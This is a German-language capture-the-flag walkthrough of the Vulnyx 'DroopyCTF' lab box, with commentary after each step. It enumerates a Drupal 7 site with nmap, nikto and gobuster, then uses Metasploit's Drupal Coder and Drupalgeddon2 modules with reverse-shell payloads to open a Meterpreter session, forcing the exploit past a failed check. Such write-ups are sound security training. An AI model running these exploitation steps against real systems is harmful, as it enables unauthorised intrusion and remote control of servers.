DroopyCTF - Vulnyx - Level: Medium - Bericht

Medium

Verwendete Tools

nmap
nikto
gobuster
wfuzz
dirb
searchsploit
msfconsole
nc
wget

Inhaltsverzeichnis

Reconnaissance

Analyse: In diesem Abschnitt werden Informationen über das Zielsystem gesammelt. Dies ist der erste Schritt eines jeden Pentests, um ein grundlegendes Verständnis der Umgebung zu erlangen.

Empfehlung: Für Systemadministratoren ist es wichtig, die eigene Angriffsfläche zu kennen und unnötige Dienste zu deaktivieren.

┌──(root㉿CCat)-[~]
└─# ARP-Scan
192.168.2.113 08:00:27:56:ae:0d PCS Systemtechnik GmbH

Analyse: ARP-Scan zeigt die IP-Adresse und MAC-Adresse des Zielsystems. Die MAC-Adresse gibt einen Hinweis auf den Hersteller der Netzwerkkarte (PCS Systemtechnik GmbH).

Bewertung: Diese Information ist nützlich, um das Zielsystem genauer zu identifizieren.

Empfehlung: Es ist wichtig, die ARP-Tabellen regelmäßig zu überwachen, um unbefugte Geräte zu erkennen.

┌──(root㉿CCat)-[~]
└─# /etc/hosts
192.168.2.113 droopyCTF.vln

Analyse: Die `/etc/hosts`-Datei ordnet die IP-Adresse `192.168.2.113` dem Hostnamen `droopyCTF.vln` zu. Dies ermöglicht die Verwendung des Hostnamens anstelle der IP-Adresse.

Bewertung: Dies ist eine Standardkonfiguration, die die Namensauflösung erleichtert.

Empfehlung: Systemadministratoren sollten sicherstellen, dass die `/etc/hosts`-Datei korrekt konfiguriert ist und keine unerwünschten Einträge enthält.

┌──(root㉿CCat)-[~]
└─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-10 22:51 CEST
Nmap scan report for droopyCTF.vln (192.168.2.113)
Host is up (0.00014s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-title: Welcome to La fraude fiscale des grandes soci\xC3\xA9t\xC3\xA9s | La fraud...
|_http-generator: Drupal 7 (http://drupal.org)
|_http-server-header: Apache/2.4.7 (Ubuntu)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
MAC Address: 08:00:27:56:AE:0D (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

TRACEROUTE
HOP RTT ADDRESS
1 0.14 ms droopyCTF.vln (192.168.2.113)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.93 seconds

Analyse: Nmap scannt das Zielsystem (`droopyCTF.vln`) und identifiziert offene Ports, Dienste und das Betriebssystem. Die Ergebnisse zeigen, dass Port 80 (HTTP) offen ist und ein Apache Webserver läuft, der Drupal 7 verwendet.

Bewertung: Die Erkennung von Drupal 7 ist ein wichtiger Hinweis, da Drupal für seine Sicherheitslücken bekannt ist.

Empfehlung: Systemadministratoren sollten Drupal und alle anderen verwendeten Softwarekomponenten auf dem neuesten Stand halten, um bekannte Sicherheitslücken zu schließen. Außerdem sollten sie die `/robots.txt`-Datei überprüfen, um sicherzustellen, dass keine sensiblen Bereiche der Website versehentlich freigegeben werden.

Web Enumeration

Analyse: In diesem Abschnitt werden die Ergebnisse der Web Enumeration zusammengefasst, die dazu dienen, weitere Informationen über die Webanwendung zu sammeln und potenzielle Angriffspunkte zu identifizieren.

Empfehlung: Die Ergebnisse sollten sorgfältig analysiert und priorisiert werden, um die vielversprechendsten Angriffspunkte zu identifizieren.

┌──(root㉿CCat)-[~]
└─# nikto v2.5.0
+ Target IP: 192.168.2.113
+ Target Hostname: 192.168.2.113
+ Target Port: 80
+ Start Time: 2024-10-10 22:51:54 (GMT2)

+ Server: Apache/2.4.7 (Ubuntu)
+ /: Retrieved x-powered-by header: PHP/5.5.9-1ubuntu4.5.
+ /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions
+ /: Drupal 7 was identified via the x-generator header. See: https://www.drupal.org/project/remove_http_headers
+ /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ /scripts/: Directory indexing found.
+ /robots.txt: Entry '/?q=user/login/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/?q=user/register/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/INSTALL.sqlite.txt' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/?q=filter/tips/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/LICENSE.txt' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/MAINTAINERS.txt' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/install.php' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /profiles/: Directory indexing found.
+ /robots.txt: Entry '/profiles/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /themes/: Directory indexing found.
+ /robots.txt: Entry '/themes/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/xmlrpc.php' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/INSTALL.pgsql.txt' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /misc/: Directory indexing found.
+ /robots.txt: Entry '/misc/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /includes/: Directory indexing found.
+ /robots.txt: Entry '/includes/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /modules/: Directory indexing found.
+ /robots.txt: Entry '/modules/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/UPGRADE.txt' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/?q=user/password/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/scripts/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/INSTALL.mysql.txt' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: contains 36 entries which should be manually viewed. See: https://developer.mozilla.org/en-US/docs/Glossary/Robots.txt
+ /misc/favicon.ico: identifies this app/server as: Drupal 7.x. See: https://en.wikipedia.org/wiki/Favicon
+ Multiple index files found: /index.html, /index.php.
+ Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch.
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /: DEBUG HTTP verb may show server debugging information. See: https://docs.microsoft.com/en-us/visualstudio/debugger/how-to-enable-debugging-for-aspnet-applications?view=vs-2017
+ /web.config: ASP config file is accessible.
+ /includes/: This might be interesting.
+ /misc/: This might be interesting.
+ /info.php: Output from the phpinfo() function was found.
+ /info.php: PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of system information. See: CWE-552
+ /UPGRADE.txt: Default file found.
+ /install.php: Drupal install.php file found. See: https://drupal.stackexchange.com/questions/269076/how-do-i-restrict-access-to-the-install-php-filehttps://drupal.stackexchange.com/questions/269076/how-do-i-restrict-access-to-the-install-php-file
+ /install.php: install.php file found.
+ /LICENSE.txt: License file found may identify site software.
+ /xmlrpc.php: xmlrpc.php was found.
+ /INSTALL.mysql.txt: Drupal installation file found. See: https://drupal.stackexchange.com/questions/269076/how-do-i-restrict-access-to-the-install-php-file
+ /INSTALL.pgsql.txt: Drupal installation file found. See: https://drupal.stackexchange.com/questions/269076/how-do-i-restrict-access-to-the-install-php-file
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /info.php?file=http://blog.cirt.net/rfiinc.txt: Remote File Inclusion (RFI) from RSnake's RFI list. See: https://gist.github.com/mubix/5d269c686584875015a2
+ /sites/: Directory indexing found.
+ 8946 requests: 0 error(s) and 49 item(s) reported on remote host
+ End Time: 2024-10-10 22:52:10 (GMT2) (16 seconds)

+ 1 host(s) tested

Analyse: Nikto identifiziert verschiedene potenzielle Schwachstellen und interessante Dateien. Besonders hervorzuheben sind:

  • Vorhandensein der PHP-Datei `info.php`, die detaillierte Systeminformationen preisgeben kann.
  • Offene Verzeichnisse wie `/scripts/`, `/profiles/`, `/themes/`, `/misc/` und `/includes/`, die möglicherweise sensible Daten enthalten.
  • Vulnerabilitäten im Zusammenhang mit dem Apache Webserver und Drupal 7.

Bewertung: Diese Ergebnisse liefern wertvolle Hinweise auf mögliche Angriffspunkte.

Empfehlung: Systemadministratoren sollten die genannten Dateien und Verzeichnisse überprüfen und gegebenenfalls den Zugriff einschränken. Außerdem sollten sie die PHP-Datei `info.php` entfernen oder den Zugriff darauf beschränken.

┌──(root㉿CCat)-[~]
└─# gobuster dir -u "http://$IP" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k
http://192.168.2.113/index.html (Status: 200) [Size: 11510]
http://192.168.2.113/index.php (Status: 200) [Size: 7630]
http://192.168.2.113/info.php (Status: 200) [Size: 78620]
http://192.168.2.113/misc (Status: 301) [Size: 312] [--> http://192.168.2.113/misc/]
http://192.168.2.113/themes (Status: 301) [Size: 314] [--> http://192.168.2.113/themes/]
http://192.168.2.113/modules (Status: 301) [Size: 315] [--> http://192.168.2.113/modules/]
http://192.168.2.113/web.config (Status: 200) [Size: 2178]
http://192.168.2.113/scripts (Status: 301) [Size: 315] [--> http://192.168.2.113/scripts/]
http://192.168.2.113/sites (Status: 301) [Size: 313] [--> http://192.168.2.113/sites/]
http://192.168.2.113/includes (Status: 301) [Size: 316] [--> http://192.168.2.113/includes/]
http://192.168.2.113/install.php (Status: 200) [Size: 3185]
http://192.168.2.113/profiles (Status: 301) [Size: 316] [--> http://192.168.2.113/profiles/]
http://192.168.2.113/README.txt (Status: 200) [Size: 5382]
http://192.168.2.113/robots.txt (Status: 200) [Size: 1550]
http://192.168.2.113/INSTALL.txt (Status: 200) [Size: 17995]
http://192.168.2.113/LICENSE.txt (Status: 200) [Size: 18092]
http://192.168.2.113/CHANGELG.txt (Status: 200) [Size: 89339]
http://192.168.2.113/xmlrpc.php (Status: 200) [Size: 42]
http://192.168.2.113/CPYRIGHT.txt (Status: 200) [Size: 1481]

Analyse: Gobuster findet eine Reihe von Dateien und Verzeichnissen, darunter `info.php`, `install.php`, `README.txt`, `robots.txt`, `INSTALL.txt`, `LICENSE.txt`, `CHANGELG.txt`, `xmlrpc.php` und `CPYRIGHT.txt`. Diese Dateien können wertvolle Informationen über die Webanwendung liefern.

Bewertung: Die Ergebnisse von Gobuster bestätigen die Erkenntnisse aus dem Nmap- und Nikto-Scan.

Empfehlung: Systemadministratoren sollten die genannten Dateien und Verzeichnisse überprüfen und sicherstellen, dass keine sensiblen Informationen preisgegeben werden.

┌──(root㉿CCat)-[~]
└─# webenum http://192.168.2.113/info.php
System Linux droopy 3.13.0-43-generic #72-Ubuntu SMP Mon Dec 8 19:35:06 UTC 2014 x86_64
apache2handler
Apache Version Apache/2.4.7 (Ubuntu)
Apache API Version 20120211
Server Administrator webmaster@localhost
Hostname:Port droopy.knight139.co.uk:80
User/Group www-data(33)/33
Max Requests Per Child: 0 - Keep Alive: on - Max Per Connection: 100
Timeouts Connection: 300 - Keep-Alive: 5
Virtual Server Yes
Server Root /etc/apache2
Loaded Modules core mod_so mod_watchdog http_core mod_log_config mod_logio mod_version mod_unixd mod_access_compat mod_alias mod_auth_basic mod_authn_core mod_authn_file mod_authz_core mod_authz_host mod_authz_user mod_autoindex mod_deflate mod_dir mod_env mod_filter mod_mime prefo

PHP Version 5.5.9-1ubuntu4.5

Analyse: Der Zugriff auf `info.php` liefert detaillierte Informationen über das System, den Apache Webserver und die PHP-Version. Besonders interessant sind die PHP-Version 5.5.9 und die Apache-Version 2.4.7, da diese Versionen möglicherweise bekannte Sicherheitslücken aufweisen.

Bewertung: Die Preisgabe dieser Informationen kann Angreifern helfen, gezielte Angriffe zu entwickeln.

Empfehlung: Systemadministratoren sollten den Zugriff auf `info.php` einschränken und die PHP- und Apache-Versionen auf die neuesten verfügbaren Versionen aktualisieren.

Initial Access

Analyse: Dieser Abschnitt beschreibt die Schritte, die unternommen wurden, um initialen Zugriff auf das System zu erlangen.

Empfehlung: Systemadministratoren sollten die identifizierten Schwachstellen beheben und geeignete Sicherheitsmaßnahmen implementieren, um unbefugten Zugriff zu verhindern.

┌──(root㉿CCat)-[~]
└─# searchsploit drupal
Exploit Title | Path
-------------------------------------------------------------+---------------------------------
Drupal 10.1.2 - web-cache-poisoning-External-service-intera | php/webapps/51723.txt
Drupal 4.0 - News Message HTML Injection | php/webapps/21863.txt
Drupal 4.1/4.2 - Cross-Site Scripting | php/webapps/22940.txt
Drupal 4.5.3 < 4.6.1 - Comments PHP Injection | php/webapps/1088.pl
Drupal 4.7 - 'Attachment mod_mime' Remote Command Execution | php/webapps/1821.php
Drupal 4.x - URL-Encoded Input HTML Injection | php/webapps/27020.txt
Drupal 5.2 - PHP Zend Hash ation Vector | php/webapps/4510.txt
Drupal 5.21/6.16 - Denial of Service | php/dos/10826.sh
Drupal 6.15 - Multiple Persistent Cross-Site Scripting Vuln | php/webapps/11060.txt
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Add Admin | php/webapps/34992.py
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Admin Ses | php/webapps/44355.php
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (PoC) (Res | php/webapps/34984.py
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (PoC) (Res | php/webapps/34993.php
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Remote Co | php/webapps/35150.php
Drupal 7.12 - Multiple Vulnerabilities | php/webapps/18564.txt
Drupal 7.x Module Services - Remote Code Execution | php/webapps/41564.php
Drupal < 4.7.6 - Post Comments Remote Command Execution | php/webapps/3313.pl
Drupal < 5.1 - Post Comments Remote Command Execution | php/webapps/3312.pl
Drupal < 5.22/6.16 - Multiple Vulnerabilities | php/webapps/33706.txt
Drupal < 7.34 - Denial of Service | php/dos/35415.txt
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code | php/webapps/44542.txt
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code | php/webapps/44557.rb
Drupal < 7.< 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon | php/webapps/44449.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote | php/remote/44482.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote | php/webapps/44448.py
Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unseriali | php/remote/46510.rb
Drupal < 8.6.10 / < 8.5.11 - REST Module Remote Code Execut | php/webapps/46452.txt
Drupal < 8.6.9 - REST Module Remote Code Execution | php/webapps/46459.py
Drupal avatar_uploader v7.x-1.0-beta8 - Arbitrary File Disc | php/webapps/44501.txt
Drupal avatar_uploader v7.x-1.0-beta8 - Cross Site Scriptin | php/webapps/50841.txt
Drupal Module Ajax Checklist 5.x-1.0 - Multiple SQL Injecti | php/webapps/32415.txt
Drupal Module CAPTCHA - Security Bypass | php/webapps/35335.html
Drupal Module CKEditor 3.0 < 3.6.2 - Persistent EventHandle | php/webapps/18389.txt
Drupal Module CKEditor < 4.1WYSIWYG (Drupal 6.x/7.x) - Pers | php/webapps/25493.txt
Drupal Module CDER 2.5 - Remote Command Execution (Metaspl | php/webapps/40149.rb
Drupal Module Coder < 7.x-1.3/7.x-2.6 - Remote Code Executi | php/remote/40144.php
Drupal Module Cumulus 5.x-1.1/6.x-1.4 - 'tagcloud' Cross-Si | php/webapps/35397.txt
Drupal Module Drag & Drop Gallery 6.x-1.5 - 'upload.php' Ar | php/webapps/37453.php
Drupal Module Embedded Media Field/Media 6.x : Video Flotsa | php/webapps/35072.txt
Drupal Module MiniorangeSAML 8.x-2.22 - Privilege escalatio | php/webapps/50361.txt
Drupal Module RESTWS 7.x - PHP Remote Code Execution (Metas | php/remote/40130.rb
Drupal Module Sections - Cross-Site Scripting | php/webapps/10485.txt
Drupal Module Sections 5.x-1.2/6.x-1.2 - HTML Injection | php/webapps/33410.txt

Shellcodes: No Results

Analyse: `searchsploit` listet bekannte Exploits für Drupal auf. Da die Nmap-Ergebnisse Drupal 7 identifiziert haben, sind die Exploits für Drupal 7 besonders relevant.

Bewertung: Die Ergebnisse zeigen, dass es eine Vielzahl von potenziellen Schwachstellen in Drupal gibt, die für einen Angriff ausgenutzt werden könnten.

Empfehlung: Systemadministratoren sollten die aufgelisteten Exploits überprüfen und feststellen, ob sie auf das Zielsystem anwendbar sind. Gegebenenfalls sollten sie die betroffenen Module deaktivieren oder aktualisieren.

┌──(root㉿CCat)-[~]
└─# msfconsole -q
msf6 > search drupal 7

Matching Modules

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/webapp/drupal_coder_exec 2016-07-13 excellent Yes Drupal CDER Module Remote Command Execution
1 exploit/unix/webapp/drupal_drupalgeddon2 2018-03-28 excellent Yes Drupal Drupalgeddon 2 Forms API Property Injection
2 \_ target: Automatic (PHP In-Memory) . . . .
3 \_ target: Automatic (PHP Dropper) . . . .
4 \_ target: Automatic (Unix In-Memory) . . . .
5 \_ target: Automatic (Linux Dropper) . . . .
6 \_ target: Drupal 7.x (PHP In-Memory) . . . .
7 \_ target: Drupal 7.x (PHP Dropper) . . . .
8 \_ target: Drupal 7.x (Unix In-Memory) . . . .
9 \_ target: Drupal 7.x (Linux Dropper) . . . .
10 \_ target: Drupal 8.x (PHP In-Memory) . . . .
11 \_ target: Drupal 8.x (PHP Dropper) . . . .
12 \_ target: Drupal 8.x (Unix In-Memory) . . . .
13 \_ target: Drupal 8.x (Linux Dropper) . . . .
14 \_ AKA: SA-CORE-2018-002 . . . .
15 \_ AKA: Drupalgeddon 2 . . . .
16 exploit/multi/http/drupal_drupageddon 2014-10-15 excellent No Drupal HTTP Parameter Key/Value SQL Injection
17 \_ target: Drupal 7.0 - 7.31 (form-cache PHP injection method) . . . .
18 \_ target: Drupal 7.0 - 7.31 (user-post PHP injection method) . . . .
19 auxiliary/gather/drupal_openid_xxe 2012-10-17 normal Yes Drupal penID External Entity Injection
20 exploit/unix/webapp/drupal_restws_exec 2016-07-13 excellent Yes Drupal RESTWS Module Remote PHP Code Execution
21 exploit/unix/webapp/drupal_restws_unserialize 2019-02-20 normal Yes Drupal RESTful Web Services unserialize() RCE
22 \_ target: PHP In-Memory . . . .
23 \_ target: Unix In-Memory . . . .
24 auxiliary/scanner/http/drupal_views_user_enum 2010-07-02 normal Yes Drupal Views Module Users Enumeration
25 exploit/unix/webapp/php_xmlrpc_eval 2005-06-29 excellent Yes PHP XML-RPC Arbitrary Code Execution


Interact with a module by name or index. For example info 25, use 25 or use exploit/unix/webapp/php_xmlrpc_eval

Analyse: Die Suche in Metasploit nach Drupal 7 Exploits zeigt mehrere Module, die potenziell für einen Angriff genutzt werden können. Besonders interessant sind die "Drupalgeddon"-Exploits (drupal_drupageddon und drupal_drupalgeddon2), die für Remote Code Execution bekannt sind.

Bewertung: Die Existenz dieser Exploits in Metasploit erhöht das Risiko eines erfolgreichen Angriffs erheblich.

Empfehlung: Systemadministratoren sollten Metasploit verwenden, um die genannten Exploits zu testen und sicherzustellen, dass das System nicht anfällig ist. Wenn Schwachstellen gefunden werden, sollten sie umgehend behoben werden.

msf6 exploit(unix/webapp/drupal_coder_exec) > options
Module options (exploit/unix/webapp/drupal_coder_exec):

Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPRT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The target URI of the Drupal installation
VHST no HTTP server virtual host


Payload options (cmd/unix/reverse_bash):

Name Current Setting Required Description
---- --------------- -------- -----------
LHST 192.168.2.199 yes The listen address (an interface may be specified)
LPRT 4444 yes The listen port


Exploit target:

Id Name
-- ----
0 Automatic



View the full module info with the info, or info -d command.

Analyse: Der Befehl `options` zeigt die verfügbaren Optionen für das `drupal_coder_exec`-Modul. Dies beinhaltet die Ziel-IP-Adresse (RHSTS), den Zielport (RPRT), den Ziel-URI (TARGETURI) und die Listener-IP-Adresse (LHST) und den Listener-Port (LPRT) für die Reverse Shell.

Bewertung: Die Optionen sind gut dokumentiert und geben einen klaren Überblick darüber, wie das Modul konfiguriert werden muss.

Empfehlung: Stellen Sie sicher, dass alle erforderlichen Optionen korrekt konfiguriert sind, bevor Sie das Modul ausführen.

msf6 exploit(unix/webapp/drupal_coder_exec) > set rhosts 192.168.2.113
rhosts => 192.168.2.113

Analyse: Setzt die Ziel-IP-Adresse (RHSTS) auf `192.168.2.113`.

Bewertung: Dies ist ein notwendiger Schritt, um das Exploit auf das richtige Ziel auszurichten.

Empfehlung: Stellen Sie sicher, dass die Ziel-IP-Adresse korrekt ist.

msf6 exploit(unix/webapp/drupal_coder_exec) > set rport 80
rport => 80

Analyse: Setzt den Zielport (RPRT) auf `80`.

Bewertung: Dies ist der Standard-HTTP-Port und entspricht dem, was im Nmap-Scan gefunden wurde.

Empfehlung: Stellen Sie sicher, dass der Zielport mit dem offenen Port auf dem Zielsystem übereinstimmt.

msf6 exploit(unix/webapp/drupal_coder_exec) > set TARGETURI /
TARGETURI => /

Analyse: Setzt den Ziel-URI (TARGETURI) auf `/`, was bedeutet, dass das Exploit im Root-Verzeichnis der Website ausgeführt wird.

Bewertung: Dies ist ein üblicher Wert für Drupal-Installationen.

Empfehlung: Überprüfen Sie den korrekten URI der Drupal-Installation, falls sie sich nicht im Root-Verzeichnis befindet.

msf6 exploit(unix/webapp/drupal_coder_exec) > set lhost eth0
lhost => 192.168.2.199

Analyse: Setzt die Listener-IP-Adresse (LHST) auf `eth0` bzw. `192.168.2.199`.

Bewertung: Dies ist die IP-Adresse, auf der der Angreifer auf die Reverse Shell wartet.

Empfehlung: Stellen Sie sicher, dass die Listener-IP-Adresse korrekt ist und dass der Angreifer über eine Route zum Zielsystem verfügt.

msf6 exploit(unix/webapp/drupal_coder_exec) > set lport 4444
lport => 4444

Analyse: Setzt den Listener-Port (LPRT) auf `4444`.

Bewertung: Dies ist der Port, auf dem der Angreifer auf die Reverse Shell wartet.

Empfehlung: Stellen Sie sicher, dass der Listener-Port nicht von einer Firewall blockiert wird.

msf6 exploit(unix/webapp/drupal_coder_exec) > run
[*] Started reverse TCP handler on 192.168.2.199:4444

Analyse: Das Exploit wird ausgeführt. Die Meldung "[*] Started reverse TCP handler on 192.168.2.199:4444" zeigt an, dass Metasploit erfolgreich einen Listener auf dem angegebenen Port gestartet hat und auf eine eingehende Verbindung vom Zielsystem wartet.

Bewertung: An diesem Punkt sollte der Angreifer eine Reverse Shell erhalten, wenn das Exploit erfolgreich ist.

Empfehlung: Systemadministratoren sollten die Netzwerkverbindungen überwachen, um verdächtige Aktivitäten zu erkennen.

msf6 exploit(unix/webapp/drupal_coder_exec) > use exploit/unix/webapp/drupal_drupalgeddon2
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp

Analyse: Wechselt zum `drupal_drupalgeddon2`-Exploit. Da kein Payload explizit konfiguriert wurde, wählt Metasploit standardmäßig den `php/meterpreter/reverse_tcp`-Payload aus.

Bewertung: Der `meterpreter`-Payload bietet erweiterte Funktionen für die Post-Exploitation.

Empfehlung: Systemadministratoren sollten die Verwendung von `meterpreter` in ihren Netzwerken überwachen, da dies ein Zeichen für einen erfolgreichen Angriff sein kann.

msf6 exploit(unix/webapp/drupal_drupalgeddon2) > options
Module options (exploit/unix/webapp/drupal_drupalgeddon2):

Name Current Setting Required Description
---- --------------- -------- -----------
DUMP_UTPUT false no Dump payload command output
PHP_FUNC passthru yes PHP function to execute
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPRT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Path to Drupal install
VHST no HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
LHST 192.168.2.199 yes The listen address (an interface may be specified)
LPRT 4444 yes The listen port


Exploit target:

Id Name
-- ----
0 Automatic (PHP In-Memory)



View the full module info with the info, or info -d command.

Analyse: Zeigt die Optionen für das `drupal_drupalgeddon2`-Modul. Ähnlich wie beim vorherigen Exploit müssen die Ziel-IP-Adresse (RHSTS), der Zielport (RPRT), der Ziel-URI (TARGETURI) sowie die Listener-IP-Adresse (LHST) und der Listener-Port (LPRT) konfiguriert werden.

Bewertung: Die Optionen sind übersichtlich und ermöglichen eine einfache Konfiguration des Exploits.

Empfehlung: Überprüfen Sie die Dokumentation des Exploits, um sicherzustellen, dass alle Optionen korrekt verstanden werden.

msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set rhosts 192.168.2.113
rhosts => 192.168.2.113

Analyse: Setzt die Ziel-IP-Adresse auf `192.168.2.113`.

Bewertung: Standard-Konfigurationsschritt, um das Exploit gegen das richtige Ziel zu richten.

Empfehlung: Stellen Sie sicher, dass die Ziel-IP-Adresse erreichbar ist.

msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set rport 80
rport => 80

Analyse: Setzt den Zielport auf `80`.

Bewertung: Entspricht dem HTTP-Port, der im Nmap-Scan identifiziert wurde.

Empfehlung: Stellen Sie sicher, dass der Zielport nicht von einer Firewall blockiert wird.

msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set TARGETURI /index.php
TARGETURI => /index.php

Analyse: Setzt den Ziel-URI auf `/index.php`. Dies kann notwendig sein, wenn Drupal in einem Unterverzeichnis installiert ist oder wenn die Standard-URI nicht funktioniert.

Bewertung: Die Angabe des vollständigen Pfades zur `index.php`-Datei kann die Erfolgsrate des Exploits erhöhen.

Empfehlung: Überprüfen Sie, ob die `index.php`-Datei im angegebenen Pfad vorhanden ist.

msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run
[*] Started reverse TCP handler on 192.168.2.199:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[-] Exploit aborted due to failure: unknown: Cannot reliably check exploitability. "set ForceExploit true" to override check result.
[*] Exploit completed, but no session was created.

Analyse: Das Exploit wurde abgebrochen, da die Überprüfung der Ausnutzbarkeit fehlschlug. Die Meldung "Cannot reliably check exploitability" deutet darauf hin, dass Metasploit nicht in der Lage war, festzustellen, ob das Zielsystem anfällig für die Schwachstelle ist.

Bewertung: Dies kann verschiedene Gründe haben, z. B. eine inkompatible Drupal-Version oder fehlende Konfiguration.

Empfehlung: In solchen Fällen kann die Option `ForceExploit` verwendet werden, um die Überprüfung zu überspringen und das Exploit trotzdem auszuführen.

msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set ForceExploit true
ForceExploit => true

Analyse: Die Option `ForceExploit` wird auf `true` gesetzt, um die Überprüfung der Ausnutzbarkeit zu überspringen.

Bewertung: Dies kann riskant sein, da das Exploit möglicherweise nicht erfolgreich ist oder unerwartete Nebenwirkungen verursachen kann.

Empfehlung: Verwenden Sie die Option `ForceExploit` nur, wenn Sie sicher sind, dass das Zielsystem anfällig für die Schwachstelle ist.

msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run
[*] Started reverse TCP handler on 192.168.2.199:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Cannot reliably check exploitability. ForceExploit is enabled, proceeding with exploitation.
[!] Targeting Drupal 7.x as a fallback
[*] Sending stage (39927 bytes) to 192.168.2.113
[*] Meterpreter session 1 opened (192.168.2.199:4444 -> 192.168.2.113:46366) at 2024-10-10 23:08:25 +0200

